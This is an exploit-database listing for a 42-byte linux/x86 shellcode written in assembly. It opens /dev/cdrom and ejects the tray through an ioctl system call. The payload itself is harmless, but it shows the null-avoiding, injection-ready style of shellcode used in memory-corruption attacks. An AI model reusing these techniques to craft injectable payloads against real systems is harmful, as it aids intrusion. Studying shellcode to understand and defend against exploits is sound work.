linux/x86 eject /dev/cdrom 42 bytes

2010-01-08T00:00:00
ID 1337DAY-ID-10004
Type zdt
Reporter thegibson
Modified 2010-01-08T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            ===================================
linux/x86 eject /dev/cdrom 42 bytes
===================================

; linux/x86 eject /dev/cdrom 42 bytes
 
section .text
    global _start
 
_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push dword 0x7264632f
    push dword 0x7665642f
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80
 
    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80


#  0day.today [2018-04-02]  #